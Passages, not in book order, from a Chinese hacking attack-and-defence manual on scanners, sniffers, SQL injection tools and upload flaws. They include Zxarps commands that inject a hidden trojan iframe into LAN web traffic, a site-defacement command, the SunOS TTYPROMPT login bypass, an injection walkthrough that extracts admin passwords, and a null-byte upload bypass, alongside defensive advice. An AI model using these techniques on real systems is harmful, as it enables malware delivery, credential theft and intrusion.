    {"text": "执行如下命令： Zxarps -idx 0 -ip 192.168.1.2-192.168.1.254 -port 80 -insert \"<iframe src='http://192.168.1.125/ muma.htm' width=0 height=0>\" 上述命令就可以通过在80端口的数据中插入“<iframe src='http://192.168.1.125/ muma.html' width=0 height=0”代码，可以看出，这是一条挂马的代码，其中的muma.html 是我们的网页木马文件，如图7-116所示。"},
    {"text": "如果只是想搞一下恶作剧并不想搞破坏，可以把插入的代码换成“<iframe src='http:// 192.168.1.125/text.html' width=100 height=100”，其中的text.html 可以是您自己制作的一个“精美”的网页。"},
    {"text": "通过Zxarps嗅探器可以使对方浏览网站的时候只显示您自己所设定的内容，比如执行如下命令： Zxarps -idx 0 -ip 192.168.1.2-192.168.1.254 -port 80 -hacksite 220.181.××.×, www.b***.com -insert \"hack by cn_判官<noframes>\" 效果如图7-117所示。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第7章 几款常用的嗅探器 本章主要介绍目前比较流行的嗅探程序，从应用的角度为大家阐述嗅探器的使用，更加深入地了解嗅探的危害性。7.1节介绍的QQ第六感嗅探器是大家比较感兴趣的工具，在网吧中可以神奇地嗅探出其他计算机上登录的QQ密码；7.2节介绍的Cain嗅探器是黑客在入侵中运用比较普遍的嗅探工具，在内部网络中的一台机器上安装，则其他机器的敏感信息全部可以被捕获；7.3节和7.4节为大家揭示在公司内部管理部门是如何对我们上网的详细情况进行嗅探捕获的；7.5节和7.6节介绍的两款小巧的嗅探欺骗程序威力强大，可以利用此工具对局域网中的合法用户进行欺骗等。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 8.1 黑客攻击的常用手段剖析 当黑客发现一个进攻目标时，他会尽可能多地收集关于此目标的信息，通常他们会用“扫描技术”来扫描探测您的计算机。下面我们先来深入地了解一下扫描技术。 扫描通常采用两种策略，一种是被动式策略，一种是主动式策略。所谓被动式策略，就是基于主机之上，对系统中不合适的设置、脆弱的口令以及其他同安全规则相抵触的对象进行检查；而主动式策略是基于网络的，它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞。利用被动式策略扫描称为系统安全扫描，利用主动式策略扫描称为网络安全扫描，扫描的示例如图8-1所示。 从图8-1中可以看出，扫描可以是多任务的，由一人操控，黑客可以不动声色地发现任意远处的计算机上存在的安全漏洞。 下面进一步介绍安全扫描的4种检测技术，如图8-2所示。 图8-1 扫描示意图 图8-2 安全扫描示意图 ● 基于应用的检测技术。该技术采用被动的，非破坏性的办法检查应用软件包的设置，来发现安全漏洞。 ● 基于主机的检测技术。该技术采用被动的，非破坏性的办法对系统进行检测。通常，它涉及系统的内核、文件的属性、操作系统的补丁等问题。这种技术还包括口令解密，把一些简单的口令剔除。因此，这种技术可以非常准确地定位系统的问题，发现系统的漏洞。其缺点是与平台相关，升级复杂。 ● 基于目标的漏洞检测技术。该技术采用被动的，非破坏性的办法检查系统属性和文件属性，如数据库、注册号等。通过消息摘要算法，对文件的加密数据进行检验。这种技术的实现是运行在一个闭环上，不断地处理文件、系统目标、系统目标属性，然后产生检验数，把这些检验数同原来的检验数相比较。一旦发现改变就通知管理员。 ● 基于网络的检测技术。该技术采用积极的，非破坏性的办法来检验系统是否有可能被攻击而崩溃。它利用了一系列的脚本模拟对系统进行攻击的行为，然后对结果进行分析。另外，还针对已知的网络漏洞进行检验。网络检测技术常被用来进行穿透实验和安全审记。这种技术可以发现一系列平台的漏洞，也容易安装。但是，它可能会影响网络的性能。 一般来讲，黑客其实就是使用一个包含无穷多密码的扫描器对您的计算机进行扫描，如果您的密码刚好包含在黑客的扫描器中，那么您的密码很容易就会被黑客知道，才有本章开头的那一幕。 上面说的是简单的对个人计算机使用的一般方法，如果黑客的目标不是个人计算机，而是一台服务器（比如 Web，Sql 等服务器），一般不会有那么好的运气碰到弱口令。例如，一个网段的机器中有哪几台打开了哪些端口，运行了什么服务，在掌握了这些信息后，黑客会针对其中一台计算机发起进攻，如溢出或者针对特定端口的入侵等，当成功地入侵了这台计算机后，那么他接下来会怎么做呢？ 通常，黑客会采用嗅探技术，该技术在第6章中提及过，在这里只简单地说明一下。由于一个网段中的机器都是通过一个网关与外界通信的，黑客会在这台被攻陷的机器上架设嗅探工具进行嗅探，如图8-3所示。 图8-3 局域网拓扑图 通过第6章对嗅探技术的学习，可以知道当有FTP登录，或者Telnet甚至是3389终端登录的时候，黑客就会捕获到这些登录的账号和密码，通过这些信息，他们又可以对相应的机器实施入侵，如此反复，来扩大其战果。 如果黑客在以上所说的几种情况下都没有成功入侵，他们中的一些人会采用一种“损人不利己”的进攻方式，比如 DDOS、CC 进攻，等等。为什么说是“损人不利己”的进攻方式呢？因为黑客在攻击的同时，其实自己得不到任何好处。关于这种攻击方式的剖析将在第9章和第10章中介绍。 以上讲述的是一个简单的流程，其实在黑客的入侵中还有许多细节，图8-4很好地描绘了这些细节。 图8-4 入侵步骤示意图 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 4.5 小结 本章介绍了4款常用的多功能扫描器，利用这些扫描器，黑客基本能够完成踩点。除SSS扫描器外，其他三款扫描器均为免费使用，而4款扫描器中，SSS功能最为强大，这一方面说明了SSS扫描器的作者俄罗斯黑客技术实力的强大，另一方面也说明了黑客工具与安全工具互有融合。这些扫描器如果使用得当，将对安全防护起到较好的作用，而黑客利用这些扫描器可以达到搜集漏洞，为下一步攻击做准备的目的。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.7 小结 通过本章的学习，可以看出本章的主要内容是嗅探工具的使用。嗅探攻击技术是目前黑客攻击中比较主流的技术，通过对嗅探攻击技术的学习，有助于用户掌握攻击的本质，这样对做好安全防护工作已经不再那么困难了。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.3 黑客之路扫描器——速度极快的端口扫描器 黑客之路扫描器是一款端口扫描器，由中国黑客之路小组于2006年开发。这款扫描器的最大特点就是扫描速度极快，最大可设置1 024个线程同时进行扫描。虽然中国黑客之路小组已经湮没在历史长河之中，但这款扫描器却流传了下来，可在网络中搜索下载，大部分黑客网站均有提供。 黑客之路无需安装，只有一个大小为369KB的可执行程序，直接运行即可。 打开黑客之路扫描器程序，弹出如图3-13所示主界面。 图3-13 黑客之路扫描器主界面 ● 步骤1 扫描地址设置。 由图3-13可知黑客之路扫描器的使用比较简单，可对指定的IP地址或IP地址范围进行扫描，也可以对多个IP段进行扫描。选择“使用范围”复选框，可以对一个IP地址段进行扫描，在“选择IP”项后面填入开始IP地址，在“使用范围”项后面填入结束IP地址；如果不选择“使用范围”复选框，则仅扫描“选择 IP”项后面的 IP 地址；选择“使用范围分组”复选框，则界面有所变化，如图3-14所示。 在图3-14中，单击“添加”按钮，可以进行IP地址，或IP地址段的添加，也可以在文件中载入IP范围分组。 黑客之路默认选择扫描内网IP段：192.168.0.1～192.168.0.255。 ● 步骤2 端口设置。 黑客之路扫描器的端口设置有三种方式，在图3-13所示的界面中，不选择“使用默认端口列表”复选框，则可对某个范围的端口进行设置，默认端口范围为0～2 048，端口前后范围均可改变。端口设置的第二种方式是扫描默认端口，黑客之路默认扫描67个常用端口；第三种方式是在图3-13所示界面中，选择“使用端口范围列表”复选框，与使用IP范围分组类似，可以对指定端口和端口范围进行设置，如图3-15所示。 图3-14 “使用IP 范围分组”界面 图3-15 “使用端口范围列表”设置界面 ● 步骤3 选项之端口扫描设置。 单击“选项”菜单栏，选择“配置”级联菜单，可以对默认选项进行设置，如图3-16所示。 在图3-16所示设置对话框中可对端口扫描、界面、常规、兼容性四项进行设置。图3-16所示界面为端口扫描设置界面，扫描默认使用慢扫描方式，默认使用64个线程进行扫描。最大速度扫描时，使用 1 024 个线程；快扫描时，使用 256 个线程；标准扫描时，使用 128 个线程；极慢扫描使用16个线程。使用自定义线程数量，则可在“最多线程数”后面的编辑框中输入相应的线程数。 图3-16 进行“选项”设置对话框 在此对话框中还可以对扫描超时时间进行设置，超时时间默认 500ms，这一选项在网络速度变化较大时非常有用。还可以对是否进行Ping和对不响应Ping的主机是否扫描进行设置。 最后一项设置为对“在扫描计算机之前Ping”进行选择，笔者建设不选择Ping。当前用户的主机多数安装了防火墙，对Ping设置为不响应时，如果扫描前不选择Ping，则没有必要对下面的“对不响应Ping的计算机”项进行设置。 ● 步骤4 选项之界面设置。 单击“界面”项对主界面进行设置，如图3-17所示。 如图3-17所示，“界面”设置共分为4项内容，第一项为在指定的端口运行Telnet，可以通过查看端口返回的内容，确定该端口的服务和版本信息。部分端口通过Telnet登录可进行相应操作，如110端口登录后，可以进行邮件的阅读，21号端口登录后可进行ftp传输等。 图3-17 “界面”设置对话框 界面设置中“以紧凑模式显示开放端口”和“以紧凑模式显示关闭端口”两项，使用默认即可。 对默认扫描目标也可以进行设置，一般选择默认或内网地址即可。 ● 步骤5 选项之“常规”设置。 “常规”项为对在关闭软件时是否保存最后一次扫描IP和端口的设置，如图3-18所示。 对于黑客们来说，最好不要选择此项，以免被记录行为。 ● 步骤6 选项之“兼容性”设置。 如图3-19所示，“兼容性”选项对是否使用单线程NetBIOS名称复审进行选择。如果使用Windows XP SP1 进行扫描，则可以使用单线程NetBIOS 名称复审，当前的Windows XP系统绝大多数为SP2，使用默认不选择即可。 图3-18 “常规”设置界面 图3-19 “兼容性”设置 设置完毕，即可单击“选项”设置界面中的“确定”按钮，返回主界面，单击“scan”按钮开始扫描。 以扫描192.168.0.1～192.168.0.255为例进行测试，虽然内网只有笔者一台主机，但还是能感受到扫描速度非常快，如图3-20所示。 在几秒之内黑客之路已经扫描完毕，且对笔者的主机开放端口扫描正确。 图3-20 扫描结果"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 第2章 网络扫描器概述 随着 Internet 技术的飞速发展，网络安全成为全球信息化过程中至关重要的一部分，而安全扫描技术是一项重要的网络安全技术。通过对网络的扫描，可以了解网络中各种设备的配置情况和所运行的服务，及时发现漏洞，从而根据扫描的结果更正错误的安全配置和系统漏洞，做到防患于未然。 近年来，一些网络安全专家开始认识到，网络通信协议的设计缺陷是造成网络安全问题的根源。网络扫描也要用到网络通信协议，因此本章将首先了解一些必要的TCP/IP相关知识，然后介绍扫描器的概念并结合有关TCP/IP知识介绍相关的扫描技术，最后对与网络扫描有关的常用的网络命令和网络扫描器进行综述。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 8.4 小结 本章在前面章节的嗅探技术的基础上，逐步过渡到“扫描”和“攻击工具”方面的讨论。黑客使用“扫描”技术可以不动声色地检测世界上任意一台计算机的安全性，黑客使用“攻击工具”可以方便快捷地实施有效的攻击。通过了解这些可以采用适应的防范措施以应对黑客攻击。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 3.8 Fscan端口扫描器——命令行端口扫描器 Foundstone公司除开发了GUI版的Superscan扫描器之外，为方便Windows用户在命令行下使用，还发布了一款免费的命令行端口扫描器Fscan，这款扫描器可以看做是Superscan的命令行版本，可在Foundstone自由下载。在命令行下，运行Fscan，显示的是Fscan的帮助信息，如图3-32所示。 图3-32 Fscan 用法 从图3-32中可以看出，Fscan的扫描参数达18个之多，相对于Superscan的扫描功能，我们对这些参数进行详细介绍。 -？/-h：显示帮助信息。 -a：将输出结果追加到文件中。 -b：获取端口旗标。 -c：连接超时时间，计数时间为毫秒。 -d：扫描延迟时间，计数时间为毫秒。 -e：解析IP地址为主机名。 -f：从文件读取IP地址列表，对多个IP地址或IP地址段进行扫描时采用。 -i：绑定至给定端口，一般不用。 -l：端口列表文件，扫描多个不相连的端口时采用。 -n：不进行端口扫描，仅Ping。 -o：输出至文件。 -p：TCP端口扫描。 -q：安静模式，扫描之前不Ping。 -r：以随机顺序扫描端口。 -t：Ping超时时间设置。 -u：UDP端口扫描。 -v：显示扫描详细信息。 -z：开启最多线程数扫描。 与Superscan相比，Fscan功能较为单一，仅有扫描功能，大小只有16KB，对于习惯命令行的用户来说，这是一款相当不错的端口扫描器。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 4.1 流光扫描器——顶尖的扫描器 流光是国内发布最早的黑客软件之一，堪称是黑客界教父级的扫描工具，其作者是国内的顶尖级黑客小榕，接触过黑客工具的几乎无一不知道流光，也无一不知道小榕。 流光可以探测 POP3、FTP、HTTP、PROXY、FORM、SQL、SMTP 等服务器上的各种漏洞，其最大的特点就是简单易用。"},
    {"text": "图4-1 流光安装界面 图4-2 “选择组件”对话框 （3）单击图4-2中“下一步（N）>”按钮，显示的是选择安装位置对话框，如图4-3所示。"},
    {"text": "（4）继续单击图4-3中“下一步（N）>”按钮，弹出选择“开始菜单”文件夹对话框，如图4-4所示。 图4-3 “选择安装位置”对话框 图4-4 选择“开始菜单”文件夹对话框 （5）单击图 4-4 中“安装（I）”按钮，进行安装。"},
    {"text": "4.1.2 流光的使用 流光的使用非常简单，运行流光程序，弹出流光5.0的主界面，如图4-5所示。 图4-5 流光主界面 （1）流光既可以由文件菜单项的“高级扫描向导”进行傻瓜式设置，也可以选择目标主机中某一项，以扫描POP3主机为例进行介绍。 选择“目标主机”→“POP3主机”，单击鼠标右键，选择“编辑”→“添加”项，添加待扫描的POP3主机目标，进行专项任务设置，如图4-6所示。 （2）在图4-6所示界面中，输入127.0.0.1（本机IP），单击“确定”按钮，可以看到在“目标主机”→“POP3主机”项中多了127.0.0.1目标主机，如图4-7所示。 图4-6 添加主机 图4-7 主机添加完毕 （3）右键单击图4-7所示界面中127.0.0.1主机，就可以选择待扫描项目进行探测。"},
    {"text": "选择“高级扫描向导”弹出如图 4-8 所示对话框，首先填入待探测的开始和结束 IP地址，选择目标主机的操作系统类型，这里大概分为 Windows和 UNIX类，可从二者选一，或选择All。 接着设置是否获取主机名，是否进行Ping检查，如Ping无反应，则不进行后面的探测。 以笔者的经验，安装防火墙的主机，多数设置了对Ping不进行响应，因此不选“Ping检查”项。"},
    {"text": "● 步骤2 扫描端口设置。 设置好检测项目后，单击“下一步”按钮切换到扫描端口设置对话框，如图 4-9所示。 图4-8 检测项目设置对话框 图4-9 端口设置对话框 一般选择默认设置即可，也可以自定义端口扫描范围，如从1～65 535。 这里我们选择标准端口，对流光设定的常用端口进行扫描。"},
    {"text": "因实现 POP3 服务器的服务提供商不同，也就产生了多种版本的POP3服务器，当前常用的POP3服务器软件有sendmail、imail等，无论sendmail还是imail都曾出现大量漏洞，探测出这些服务器的具体版本，就可以进行相应的漏洞搜集。"},
    {"text": "● 步骤4 FTP设置。 设置完POP3后，单击“下一步”按钮进行FTP探测设置，如图4-11所示。 图4-10 POP3 选项设置界面 图4-11 扫描FTP选项设置界面 一般选择“获取FTP版本”和“尝试匿名登录”两项，而尝试猜解用户只有在针对某具体用户或对弱口令猜解时才用。"},
    {"text": "FTP 是文件传输协议（File Transfer Protocol）的缩写，是专门用来传输文件的协议，是Internet上最早也是最广使用的，至今它仍是最重要和最基本的应用之一。"},
    {"text": "与其他需登录的服务不同的是，FTP提供了一种面向大众的匿名服务，该项服务利用“anonymous”作为登录用户名，利用自己的邮件地址作为密码（邮件可任意设置）进行登录，就可以浏览FTP服务器中的所有公共资源。"},
    {"text": "● 步骤5 SMTP设置。 完成FTP设置后，单击“下一步”按钮进行SMTP设置，如图4-12所示。 一般选择“获取SMTP版本”，“EXPN/VRFY扫描”是否选择视情况而定。 与POP3协议相对应，SMTP是用来发送邮件的协议，上图中的“EXPN/VRFY扫描”项用来验证指定的邮箱或邮箱列表是否存在。"},
    {"text": "IMAP是“Internet Message Access Protocol”的缩写，是提供通过Internet 获取信息的一种协议，是一种强有力的邮箱访问方式，具有比 POP3 协议更多的优点，除邮件下载、离线阅读功能外，IMAP 还提供了摘要浏览等功能。"},
    {"text": "如果对方系统为 UNIX 系统，则可选择“SunOS Login远程溢出”复选项进行尝试。 对Telnet 的设置除获取系统版本外，还提供了“SunOS Login 远程溢出”项供选择。"},
    {"text": "这是因为对于Sun OS 8.0 以前的版本，存在登录时的环境变量绕过验证的漏洞，远程攻击者只需在Telnet中将环境变量TTYPROMPT简单定义成长度为6的字符串，然后连接上远程主机，再输入用户名，后面跟64个“c”，按回车键就可以以该用户的身份直接登录到系统而不需要口令验证。"},
    {"text": "完成对SQL的扫描参数的设置后，接下来就是经典的IPC扫描设置，如图4-15所示。 图4-14 Telnet 扫描设置界面 图4-15 IPC 扫描选项设置界面 对IPC进行扫描设置，可选择“空连接扫描”、“共享资源扫描”、“尝试获取用户名”三项，而对“尝试对获取的用户名进行猜解”和“仅对Administrators组进行猜解”项的设置，建议在确定对方IPC开放后专门进行穷尽。"},
    {"text": "IPC$（Internet Process Connection）是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。"},
    {"text": "在2003年以前，网络中大多数主机的IPC$共享开放，通过空会话对主机进行连接，经常会有意想不到的收获，因此进行IPC扫描也成为对Windows主机探测必需的步骤。"},
    {"text": "2003年危害巨大的冲击波病毒就是利用微软的RPC漏洞进行传播的，而RPC DCOM 漏洞是2003 年发布的漏洞，在Windows系统自动更新的时代，主机存在这个漏洞的可能性已经微乎其微，因此可不作选择。"},
    {"text": "● 步骤11 字典文件设置。 完成对 PLUGINS 的设置后，单击“下一步”按钮，就到了此次设置旅程的终点，在如图4-18所示的对话框中，可以进行字典文件的相关设置，如对猜解过程所用字典进行更换等设置。"},
    {"text": "● 步骤12 Sensor设置。 完成所有设置项后单击“完成”按钮，弹出如图4-19所示的“选择流光主机”对话框，在该对话框中进行Sensor主机设置。 图4-18 字典文件设置界面 图4-19 Sensor设置界面 在流光扫描器中，Sensor（传感器）实际上是一台“肉机”，在主界面的菜单项“工具”→“Fluxay Sensor工具”→“安装Fluxay Sensor”中完成Sensor安装后，就可以在图4-19 所示界面中进行设置。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 图书在版编目（CIP）数据 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御/夏添，李绍文编著.—北京：人民邮电出版社，2009.4 ISBN 978-7-115-19406-0 Ⅰ.黑… Ⅱ.①夏…②李… Ⅲ.计算机网络—安全技术 Ⅳ.TP393.08 中国版本图书馆CIP数据核字（2008）第198512号 内容简介 本书由浅入深、循序渐进地介绍了计算机网络中黑客攻防的实战知识。全书共11章，内容涵盖了网络安全的基础知识、网络扫描器、常用端口扫描器、多功能扫描器、专项功能扫描器、嗅探技术、常用嗅探器、黑客攻击工具的剖析和防范等内容。从“扫描、嗅探、入侵和防御”几个方面来阐述黑客常用的攻击和防御技术，如信息收集、扫描目标、渗透测试、网络设备的攻击与防范、入侵检测技术等。并通过典型案例剖析了远程控制、数据库和网站注入、邮箱密码攻击、无线网络安全、QQ攻击等防范技术。本书最大的特色在于知识全面、实例丰富，每一节的例子都是经过精挑细选，具有很强的针对性，读者可以通过亲手实践来掌握安全防护基本要领和技巧。 本书适合于初、中级用户学习网络安全知识时阅读，同时也可作为高级安全工程师的参考资料。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 ◆编著 夏添 李绍文 责任编辑 张涛 ◆人民邮电出版社出版发行 北京市崇文区夕照寺街14号 邮编 100061 电子函件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京鸿佳印刷厂印刷 ◆开本：787×1092 1/16 印张：21.75 字数：520千字 2009年4月第1版 印数：1–4000册 2009年4月北京第1次印刷 ISBN 978-7-115-19406-0/TP 定价：39.00元 读者服务热线：（010）67132692 印装质量热线：（010）67129223 反盗版热线：（010）67171154"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 10.2 啊D注入工具的剖析及防范 10.2.1 啊D 注入工具简介 “啊 D 注入工具”自创的注入引擎能检测更多存在注入的连接，其使用多线程技术，所以检测速度很快。"},
    {"text": "对“MsSql 显错模式”、“MsSql 不显错模式”、“Access”等数据库都有很好的注入检测能力，其内部集成“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”、“CMD命令”、“木马上传”、“注册表读取”、“旁注/上传”、“WebShell管理”、“Cookies修改”等功能。"},
    {"text": "10.2.2 啊D 注入工具的剖析 与上面介绍的“Domain3.5”相比，笔者认为“Domain3.5”在于旁注，而“啊D注入工具”的特色在于注入比较准确。"},
    {"text": "在图10-21所示的界面中单击【 】按钮之后开始检测，程序很快就会检测出存在注入漏洞的注入点地址，并在下方显示，如图10-22所示。 图10-22 发现注入漏洞 ● 步骤4。 在注入点地址上单击鼠标右键或者双击进入检测界面，如图10-23（画圈部分）和图10-24所示。 图10-23 进入注入检测 图10-24 注入检测界面 ● 步骤5。 在图10-24所示的界面中单击“检测”按钮，程序会对相应的注入点进行分析，判断此注入点相应的数据库类型等，如图10-25（画圈部分）所示。"},
    {"text": "当确认数据库类型之后黑客将进行更深一层次的检测了，单击“检测表段”按钮，程序将检测数据库中的“表”，如图10-26所示。 图10-25 检测数据库类型 图10-26 检测表段 ● 步骤7。 选中步骤6中已经检测出来的“表”，然后单击“检测字段”按钮，程序将自动列出数据库中相应表中的字段信息，如图10-27所示。"},
    {"text": "最后检测管理员的账号和密码，选择步骤7中所检测出的字段前的复选框，然后单击“检测内容”按钮，啊D注入工具将很出色地检测出表中存在的管理员账号和密码，如图10-28所示。"},
    {"text": "图10-27 检测字段 图10-28 猜测密码 10.2.3 啊D 注入工具的防范 比较上面所介绍的Domain3.5以及啊D注入工具，笔者认为Domain3.5对“旁注”以及对“上传”漏洞的利用是比较出色的；"},
    {"text": "使用存储过程，如果一定要使用SQL语句，那么用标准的方式组建SQL语句，比如可以利用parameters对象，避免用字符串直接拼SQL命令。 当SQL运行出错时，不要把数据库返回的错误信息全部显示给用户，错误信息经常会透露一些数据库设计的细节，并且应针对常用的SQL注入式攻击方式对症下药。"},
    {"text": "通过上面对啊D注入工具的介绍，可以理解，当一个网站存在SQL注入漏洞并且拥有足够高的权限时，黑客往往都会直接上传WebShell脚本文件，此种防范同样可以通过“最小权限原则”来完成。"},
    {"text": "下面详细介绍关于上传漏洞的防范。 1.上传漏洞的防范 提起上传漏洞，就不得不想起当年的“动网6.0”的上传漏洞，因为它是最具有代表性的一套 ASP 系统。 下面将通过分析“动网 6.0”存在上传漏洞的“UpFile.asp”，为读者解析上传漏洞的原理。"},
    {"text": "<% dim upload,file,formName,formPath,iCount,filename,fileExt '定义上传变量 set upload=new upload_5xSoft '建立上传对象JM 的测试代码 formPath=upload.form(\"filepath\") '第一步、获取文件路径，此处是关键 if right(formPath,1)<>\"/\" then formPath=formPath;\"/\" for each formName in upload.file '用For 读取上传文件 set file=upload.file(formName) '生成一个文件对象 …………………… '省略部分代码 fileExt=lcase(right(file.filename,4)) '从文件名中截取后4 位，并转换为小写字符。 if fileEXT<>\".gif\" and fileEXT<>\".jpg\" and fileEXT<>\".zip\" and fileEXT<>\".rar\" and fileEXT<>\".swf\"then '文件扩展名判断 response.write \"<font size=2>文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</font>\" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath;year(now);month(now);day(now);hour(now);minute(now);second(now);r anNum;fileExt '第二步、filename 由提交的文件路径＋年月日的随机文件名＋转换后的扩展名组成 if file.FileSize>0 then file.SaveAs Server.mappath(FileName) '保存文件 end if set file=nothing next %> 通过代码中的注释应该很容易理解该文件实现上传的机制，其中“formPath= upload.form(\"filepath\")”代表：从变量 filepath 中获取文件的保存路径； 而“filename= formPath;year(now);month(now);day(now);hour”代表：用路径变量formPath加随机生成的数字及经过判断的扩展名合成为一个新的变量，这个变量Filename就是上传文件保存的路径及名称。"},
    {"text": "/* 第10章测试C++程序 By cn_判官 2008-5-15 */ #include \"stdafx.h\" #include <string.h> #include <stdio.h> #include <iostream.h> int main(int argc, char* argv[]) { char arry[] = \"text\\0text\"; int len = strlen(arry); cout<<len<<endl; return 0; } 此程序的输出结果是4，而不是9或者10，原因是“\\0”不是作为字符出现，而是作为一个字符串的截止标志，如果自己定义的字符串结尾没有加，那么系统将自动在结尾添加此字符。"},
    {"text": "如果将其FilePath值改为“image/text.asp□”，其后的“□”表示二进制的00（也就是上面C语言程序中的“\\0”），这样，该变量提交入upfile.asp后，Filename值就变成了“image/text.asp□200601015672349146.jpg”，服务器在读取这段变量时，因为“□”是二进制的00，认为该变量语句已经结束了，于是“□”后面的字符也就被截去了，这样一来，Filename就成了：“image/text.asp”，程序再用file.SaveAs进行保存的话，这个文件就保存成了text.asp文件，漏洞出现了。"},
    {"text": "<% function killext(byval s1) '过滤非法文件后缀 dim allowext allowext=\".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.RA,.AVI,.MPG,.MP EG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF\" s1=ucase(s1) if len(s1)=0 then killext=\"\" else if not chk(allowext,s1,\",\") then killext=\".shit\" else killext=s1 end if end if end function function chk(byval s1,byval s2,byval fuhao) '检查字符串包含 dim i,a chk=false a=split(s1,fuhao) for i = 0 to ubound(a) if trim(a(i))=trim(s2) then chk=true exit for end if next end function function gname(byval n1) '以日期自动产生目录和文件名，参数1生成目录，参数2生成文件名'（无后缀） dim t,r t=now() randomize(timer) r=int((rnd+1-1)*9999) select case n1 case 1 gname=year(t);right(\"00\";month(t),2);right(\"00\";day(t),2) case 2 gname=right(\"00\";hour(t),2);right(\"00\";minute(t),2);right(\"00\";second(t),2);right(\"0000\";r,4) end select end function %> 3.对服务器IIS的设置 在IIS中，应将各个不必要的目录，去掉“执行”权限，即将执行权限改为“无”，也就是这个目录下的文件，只能读取，不能运行。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 1.1 网络安全的定义与所受威胁 1.1.1 网络安全定义 一般来说，网络安全是指保护网络系统中的软件、硬件及信息资源，使之免受偶然或恶意的破坏、篡改和泄露，确保网络系统的正常运行、网络服务不中断。"},
    {"text": "完整性是指网络信息的真实可信性，即网络中的信息不会被偶然或者蓄意地进行删除、修改、伪造、插入等破坏，确保已授权用户得到的信息是真实的。"},
    {"text": "● 可靠性。 可靠性是指系统在规定的条件下和规定的时间内，完成规定功能的概率。 ● 不可抵赖性。 不可抵赖性也称为不可否认性。 是指通信的双方在通信过程中，对于自己所发送或接收的消息不可抵赖。"},
    {"text": "1.1.2 网络安全威胁 目前对网络安全威胁分类主要有3种方式：一种是对安全威胁的实施者即攻击者进行分类，一种是根据网络安全威胁的行为方式进行分类，另一种是根据安全威胁的技术类型不同进行分类。 1.根据网络攻击者进行分类 著名的网络安全研究学者John D. Howard 博士认为，网络系统的攻击者有黑客、间谍、恐怖主义者、公司职员、职业犯罪者、破坏者共6类，不同类型的攻击者其攻击目的不同。"},
    {"text": "对于黑客最流行的说法是黑客源于网络共享精神，在几十年前美国国防部刚刚开始ARPANET 实验的时候，由一些程序设计专家和网络名人组成了具有共享性质的文化群体，这些成员为自己创造了“hacker”这个名词。"},
    {"text": "当攻击者就是那些有权使用计算机，但无权访问某些特定的数据、程序或资源的人企图越权使用系统资源时则视为内部攻击，包括假冒者（即那些使用其他合法用户的身份和口令的人）、秘密使用者；"},
    {"text": "当用户浏览网页、运行软件、打开电子邮件时，恶意代码在用户计算机中将发挥作用，破坏系统或者安装后门，使用户对计算机失去控制，或者利用被攻击计算机显示出来的信息对其进行全面的分析，从而获得足够的信息。"},
    {"text": "被动攻击方式主要有：搭线窃听，无线截获，用程序和病毒截获信息，流量分析，通信模式、数据模式和数据分析。 被动攻击成功与否主要取决于攻击目标的安全意识，如果攻击目标对外来信息特别注意，被动攻击很难取得成功。"},
    {"text": "随着用户安全意识的不断提高，主动攻击成功的可能性也在不断减少，所以被动攻击中通过电子邮件进行攻击的方式得到了更多的应用，这一攻击方式黑客将其称为“社工”。"},
    {"text": "3.根据网络攻击技术进行分类 美国的CERT（Computer Emergency Response Team）组织号称是计算机应急分队，是由美国联邦政府资助的专门研究计算机及网络安全的组织，能随时提供最新发现的计算机及网络安全问题，并提供一些解决方法。"},
    {"text": "该组织将攻击分成以下几种类型： 缓冲区溢出、文件非安全处理、参数检查不完全、非安全程序特征、特洛伊木马、弱认证或加密、配置错误、程序实现错误。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.5 小型多功能扫描器 Hscan扫描器是一款小型的多功能扫描器，可以以多线程方式对指定的IP段或主机列表进行检测。这款扫描器是由网名为“uhhuhy”的网友编写，最新版本为1.20，但其作者在2003年以后就不再更新。Hscan可在多数黑客网站下载，分为GUI和命令行两个版本，可以运行在Windows系列主机中。 这款扫描器检测内容包括主机名、默认端口、ftp弱口令、ssh弱口令、Telnet弱口令、smtp弱口令、finger漏洞、iis漏洞、CGI漏洞、POP3弱口令、RPC漏洞、IPC漏洞、IMAP弱口令、mssql弱口令、MySQL弱口令、CISCO弱口令以及PLUGIN。可以认为，Hscan主要功能是对部分服务进行在线穷尽。 运行Hscan，弹出如图5-7所示的主界面。 图5-7 Hscan 主界面 在如图 5-7 所示的界面中，Hscan 被分为三部分，左边上半部分显示扫描的详细过程，下半部分显示探测出的用户名和密码，右半部分显示主机开放的服务。界面的左半部分下方为状态栏和菜单栏。 Hscan的使用可分为以下几步。 步骤1。单击主界面左下角的“菜单”项，弹出级联菜单，如图5-8所示。 步骤2。开始扫描之前首先需要进行设置，单击“参数”级联菜单，弹出如图 5-9 所示的对话框。 